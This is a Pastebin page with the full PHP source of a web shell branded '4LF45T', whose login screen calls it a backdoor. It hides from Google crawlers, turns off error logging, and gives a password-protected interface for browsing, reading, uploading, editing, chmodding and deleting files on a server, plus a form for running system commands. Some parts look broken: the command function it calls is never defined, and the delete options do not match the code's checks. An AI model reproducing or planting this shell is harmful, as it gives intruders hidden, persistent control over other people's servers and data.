Advertisement
jefrialdi33

4LF45T SHEL PRIVATE

Oct 21st, 2018
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.01 KB | None | 0 0
  1. <?php
  2. $auth_pass = "a63fc8e7106ef71f8a1d17ddc82eb696"; // 4LF45T
  3. $color = "#00ff00";
  4. $default_action = 'FilesMan';
  5. @define('SELF_PATH', __FILE__);
  6. if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
  7. header('HTTP/1.0 404 Not Found');
  8. exit;
  9. }
  10. @session_start();
  11. @error_reporting(0);
  12. @ini_set('error_log', NULL);
  13. @ini_set('log_errors', 0);
  14. @ini_set('max_execution_time', 0);
  15. @ini_set('display_errors', 0);
  16. @set_time_limit(0);
  17. @set_magic_quotes_runtime(0);
  18. @define('VERSION', '2.1');
  19. if (get_magic_quotes_gpc()) {
  20. function stripslashes_array($array) {
  21. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  22. }
  23. $_POST = stripslashes_array($_POST);
  24. }
  25. function printLogin() {
  26. ?>
  27. <style>
  28. @import "http://fonts.googleapis.com/css?family=Play:400,700";
  29. .rainbow {
  30.  
  31. -webkit-background-clip: text;
  32. -background-clip: text;
  33. -webkit-text-fill-color: transparent;
  34. -text-fill-color: transparent;
  35. background-image: -webkit-gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #66f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );
  36. background-image: gradient( linear, left top, right top, color-stop(0, #f22), color-stop(0.15, #f2f), color-stop(0.3, #66f), color-stop(0.45, #2ff), color-stop(0.6, #2f2),color-stop(0.75, #2f2), color-stop(0.9, #ff2), color-stop(1, #f22) );
  37. }
  38. .text-glow:hover, .text-glow:focus, .text-glow:active {
  39. -webkit-stroke-width: 5.3px;
  40. -webkit-stroke-color: #ccdddd;
  41. -webkit-fill-color: #eeeeee;
  42. text-shadow: 1px 0px 20px silver;
  43. -webkit-transition: width 0.3s; /*Safari & Chrome*/
  44. transition: width 0.3s;
  45. -moz-transition: width 0.3s; /* Firefox 4 */
  46. -o-transition: width 0.3s; /* Opera */
  47. }
  48. .text-glow a {
  49. -webkit-transition: all 0.3s ease-in; /*Safari & Chrome*/
  50. transition: all 0.3s ease-in;
  51. -moz-transition: all 0.3s ease-in; /* Firefox 4 */
  52. -o-transition: all 0.3s ease-in; /* Opera */
  53. text-decoration:none;
  54. color:white;
  55. }
  56. body {
  57. background: #000000;
  58. line-height: 1;
  59. color: #bbb;
  60. font-family: "CONSOLAS";
  61. font-size: 12px;
  62. background:#121214 url(http://i64.tinypic.com/dm2y39.jpg) no-repeat center center fixed;
  63. -webkit-background-size: cover;
  64. -moz-background-size: cover;
  65. -o-background-size: cover;
  66. background-size: cover;
  67.  
  68. }
  69. textarea, input, select {
  70. border:0;
  71. BORDER-COLLAPSE:collapse;
  72. border:double 2px #696969;
  73. color:#fff;
  74. background:#000000;
  75. margin:0;
  76. padding:2px 4px;
  77. font-family: Lucida Console,Tahoma;
  78. font-size:12px;
  79. box-shadow: 0 0 15px gray;
  80. -webkit-box-shadow: 0 0 15px gray;
  81. -moz-box-shadow: 0 0 15px blue;
  82. }
  83. .title{
  84. color: #eee;
  85. background: black;
  86. text-align: center;
  87. font-size: 120%;
  88. }
  89. .button{
  90. color:#eee;
  91. }
  92. .tool{
  93. color:lime;
  94. }
  95. header {
  96. font-family: Lucida Console;
  97. font-size: 12px;
  98. text-align: center;
  99. padding-top: 10px;
  100. color: #626262;
  101. }
  102. /* Gradient 1 */
  103. .ta10 {
  104. background: url(http://i64.tinypic.com/dm2y39.jpg);
  105. background-color: black;
  106. background-repeat:no-repeat;
  107. background-size: 100% 100%;
  108. background-position: center;
  109. border:0px double #696969;
  110. padding:3px;
  111. margin-right:4px;
  112. margin-bottom:8px;
  113. font-family: Lucida Console,Tahoma;
  114. font-size:12px;
  115. box-shadow: 0 0 5px white;
  116. -webkit-box-shadow: 0 0 5px white;
  117. -moz-box-shadow: 0 0 5px white;
  118. border: solid 0px transparent; // or border: none;
  119. }
  120. </style>
  121. <body bgcolor="black">
  122. <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
  123. <html xmlns="http://www.w3.org/1999/xhtml">
  124. <head>
  125. <title>Shell Login</title>
  126. </head>
  127. <center><font color="lime" p style="background-color:Black"> Backdoor shell login place! </p></font></center>
  128. <form method=post><center>
  129. <div class="bg"><input style="color:lime;background-color:#000000" type="password" name="pass"><input style="color:lime;background-color:#000000" type="submit" value="Masuk" id="button"/></center>
  130. </form></div></body>
  131. <?php
  132. exit;
  133. }
  134. if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
  135. else printLogin();
  136.  
  137. error_reporting(0);
  138. set_time_limit(0);
  139.  
  140. if(get_magic_quotes_gpc()){
  141. foreach($_POST as $key=>$value){
  142. $_POST[$key] = stripslashes($value);
  143. }
  144. }
  145. echo '<!DOCTYPE HTML>
  146. <html>
  147. <head>
  148. <link href="" rel="stylesheet" type="text/css">
  149. <title>4LF4ST SHELL MINI</title>
  150. <style>
  151. body{
  152. font-family: "Racing Sans One", cursive;
  153. background-image: url("");
  154. color:white;
  155. background-attachment:fixed;
  156. background-repeat:no-repeat;
  157. background-position:center;
  158. background-color:black;
  159. -webkit-background-size: 100% 100%;
  160. }
  161. #content tr:hover{
  162. background-color: Mediumvioletred;
  163. text-shadow:0px 0px 10px #fff;
  164. }
  165. #content .first{
  166. background-color: Mediumvioletred;
  167. }
  168. table{
  169. border: 1px #000000 dotted;
  170. }
  171. a{
  172. color: white;
  173. text-decoration: none;
  174. }
  175. a:hover{
  176. color:lime;
  177. text-shadow:0px 0px 10px #ffffff;
  178. }
  179. input,select,textarea{
  180. border: 1px #000000 solid;
  181. -moz-border-radius: 5px;
  182. -webkit-border-radius:5px;
  183. border-radius:5px;
  184. }
  185. </style>
  186. </head>
  187. <body>
  188. <h1><center><font color="Mediumvioletred">4LF45T MINI SHELL</font></center></h1>
  189. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  190. <tr><td><font color="Mediumvioletred">pilihan :</font> ';
  191. if(isset($_GET['path'])){
  192. $path = $_GET['path'];
  193. }else{
  194. $path = getcwd();
  195. }
  196. $path = str_replace('\\','/',$path);
  197. $paths = explode('/',$path);
  198.  
  199. foreach($paths as $id=>$pat){
  200. if($pat == '' && $id == 0){
  201. $a = true;
  202. echo '<a href="?path=/">/</a>';
  203. continue;
  204. }
  205. if($pat == '') continue;
  206. echo '<a href="?path=';
  207. for($i=0;$i<=$id;$i++){
  208. echo "$paths[$i]";
  209. if($i != $id) echo "/";
  210. }
  211. echo '">'.$pat.'</a>/';
  212. }
  213. echo '</td></tr><tr><td>';
  214. if(isset($_FILES['file'])){
  215. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  216. echo '<font color="lime">Upload Berhasil</font><br />';
  217. }else{
  218. echo '<font color="red">Upload Gagal</font><br/>';
  219. }
  220. }
  221. echo '<form enctype="multipart/form-data" method="POST">
  222. <font color="Mediumvioletred">File Upload :</font> <input type="file" name="file" />
  223. <input type="submit" value="Unggah File" />
  224. </form>'; echo "<form method='post'> <font color='Mediumvioletred'>Perintah :</font> <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' eksekusi '> </form> </td></tr>"; if($_POST['execmd']) { echo "<center><textarea cols='60' rows='10' readonly='readonly' style='color:black; background-color:white;'>".exe($_POST['cmd'])."</textarea></center>"; } echo "<br></td></tr>";
  225. if(isset($_GET['filesrc'])){
  226. echo "<tr><td>Current File : ";
  227. echo $_GET['filesrc'];
  228. echo '</tr></td></table><br />';
  229. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  230. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  231. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  232. if($_POST['opt'] == 'chmod'){
  233. if(isset($_POST['perm'])){
  234. if(chmod($_POST['path'],$_POST['perm'])){
  235. echo '<font color="lime">Berhasil mengubah izin</font><br/>';
  236. }else{
  237. echo '<font color="red">Gagal mengubah izin</font><br />';
  238. }
  239. }
  240. echo '<form method="POST">
  241. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  242. <input type="hidden" name="path" value="'.$_POST['path'].'">
  243. <input type="hidden" name="opt" value="chmod">
  244. <input type="submit" value="Go" />
  245. </form>';
  246. }elseif($_POST['opt'] == 'rename'){
  247. if(isset($_POST['newname'])){
  248. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  249. echo '<font color="lime">Berhasil mengganti nama</font><br/>';
  250. }else{
  251. echo '<font color="red">Gagal mengganti nama</font><br />';
  252. }
  253. $_POST['name'] = $_POST['newname'];
  254. }
  255. echo '<form method="POST">
  256. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  257. <input type="hidden" name="path" value="'.$_POST['path'].'">
  258. <input type="hidden" name="opt" value="rename">
  259. <input type="submit" value="Go" />
  260. </form>';
  261. }elseif($_POST['opt'] == 'edit'){
  262. if(isset($_POST['src'])){
  263. $fp = fopen($_POST['path'],'w');
  264. if(fwrite($fp,$_POST['src'])){
  265. echo '<font color="lime">Berhasil mengedit File</font><br/>';
  266. }else{
  267. echo '<font color="red">Gagal mengedit File</font><br/>';
  268. }
  269. fclose($fp);
  270. }
  271. echo '<form method="POST">
  272. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  273. <input type="hidden" name="path" value="'.$_POST['path'].'">
  274. <input type="hidden" name="opt" value="edit">
  275. <input type="submit" value="Simpan" />
  276. </form>';
  277. }
  278. echo '</center>';
  279. }else{
  280. echo '</table><br/><center>';
  281. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  282. if($_POST['type'] == 'dir'){
  283. if(rmdir($_POST['path'])){
  284. echo '<font color="lime">Directory berhasil Dihapus</font><br/>';
  285. }else{
  286. echo '<font color="red">Directory Gagal dihapus </font><br/>';
  287. }
  288. }elseif($_POST['type'] == 'file'){
  289. if(unlink($_POST['path'])){
  290. echo '<font color="lime">File berhasil Dihapus</font><br/>';
  291. }else{
  292. echo '<font color="red">File Gagal Dihapus</font><br/>';
  293. }
  294. }
  295. }
  296. echo '</center>';
  297. $scandir = scandir($path);
  298. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  299. <tr class="first">
  300. <td><center>Name</peller></center></td>
  301. <td><center>Size</peller></center></td>
  302. <td><center>Permission</peller></center></td>
  303. <td><center>modify</peller></center></td>
  304. </tr>';
  305.  
  306. foreach($scandir as $dir){
  307. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  308. echo '<tr>
  309. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  310. <td><center>--</center></td>
  311. <td><center>';
  312. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  313. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  314. echo perms($path.'/'.$dir);
  315. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  316.  
  317. echo '</center></td>
  318. <td><center><form method="POST" action="?option&path='.$path.'">
  319. <select name="opt">
  320. <option value="Pilih">Select</option>
  321. <option value="Hapus">Delete</option>
  322. <option value="Chmod">Chmod</option>
  323. <option value="Ubah nama">Rename</option>
  324. </select>
  325. <input type="hidden" name="type" value="dir">
  326. <input type="hidden" name="name" value="'.$dir.'">
  327. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  328. <input type="submit" value=">">
  329. </form></center></td>
  330. </tr>';
  331. }
  332. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  333. foreach($scandir as $file){
  334. if(!is_file($path.'/'.$file)) continue;
  335. $size = filesize($path.'/'.$file)/1024;
  336. $size = round($size,3);
  337. if($size >= 1024){
  338. $size = round($size/1024,2).' MB';
  339. }else{
  340. $size = $size.' KB';
  341. }
  342.  
  343. echo '<tr>
  344. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  345. <td><center>'.$size.'</center></td>
  346. <td><center>';
  347. if(is_writable($path.'/'.$file)) echo '<font color="lime">';
  348. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  349. echo perms($path.'/'.$file);
  350. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  351. echo '</center></td>
  352. <td><center><form method="POST" action="?option&path='.$path.'">
  353. <select name="opt">
  354. <option value="">Pilih</option>
  355. <option value="Hapus">Delete</option>
  356. <option value="Chmod">Chmod</option>
  357. <option value="Ubah nama">Rename</option>
  358. <option value="edit">Edit</option>
  359. </select>
  360. <input type="hidden" name="type" value="file">
  361. <input type="hidden" name="name" value="'.$file.'">
  362. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  363. <input type="submit" value=">">
  364. </form></center></td>
  365. </tr>';
  366. }
  367. echo '</table>
  368. </div>';
  369. }
  370. echo '<center><br/><script type="text/javascript" src="//ylx-1.com/bnr.php?section=General&pub=717791&format=300x250&ga=a"></script>
  371. <noscript><a href="https://yllix.com/publishers/717791" target="_blank"><img src="//ylx-aff.advertica-cdn.com/pub/300x250.png" style="border:none;margin:0;padding:0;vertical-align:baseline;" /></a></noscript></center/><center/center>Created By /4LF45T</center>
  372. </body>
  373. </html>';
  374. function perms($file){
  375. $perms = fileperms($file);
  376.  
  377. if (($perms & 0xC000) == 0xC000) {
  378. // Socket
  379. $info = 's';
  380. } elseif (($perms & 0xA000) == 0xA000) {
  381. // Symbolic Link
  382. $info = 'l';
  383. } elseif (($perms & 0x8000) == 0x8000) {
  384. // Regular
  385. $info = '-';
  386. } elseif (($perms & 0x6000) == 0x6000) {
  387. // Block special
  388. $info = 'b';
  389. } elseif (($perms & 0x4000) == 0x4000) {
  390. // Directory
  391. $info = 'd';
  392. } elseif (($perms & 0x2000) == 0x2000) {
  393. // Character special
  394. $info = 'c';
  395. } elseif (($perms & 0x1000) == 0x1000) {
  396. // FIFO pipe
  397. $info = 'p';
  398. } else {
  399. // Unknown
  400. $info = 'u';
  401. }
  402.  
  403. // Owner
  404. $info .= (($perms & 0x0100) ? 'r' : '-');
  405. $info .= (($perms & 0x0080) ? 'w' : '-');
  406. $info .= (($perms & 0x0040) ?
  407. (($perms & 0x0800) ? 's' : 'x' ) :
  408. (($perms & 0x0800) ? 'S' : '-'));
  409.  
  410. // Group
  411. $info .= (($perms & 0x0020) ? 'r' : '-');
  412. $info .= (($perms & 0x0010) ? 'w' : '-');
  413. $info .= (($perms & 0x0008) ?
  414. (($perms & 0x0400) ? 's' : 'x' ) :
  415. (($perms & 0x0400) ? 'S' : '-'));
  416.  
  417. // World
  418. $info .= (($perms & 0x0004) ? 'r' : '-');
  419. $info .= (($perms & 0x0002) ? 'w' : '-');
  420. $info .= (($perms & 0x0001) ?
  421. (($perms & 0x0200) ? 't' : 'x' ) :
  422. (($perms & 0x0200) ? 'T' : '-'));
  423.  
  424. return $info;
  425. }
  426. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement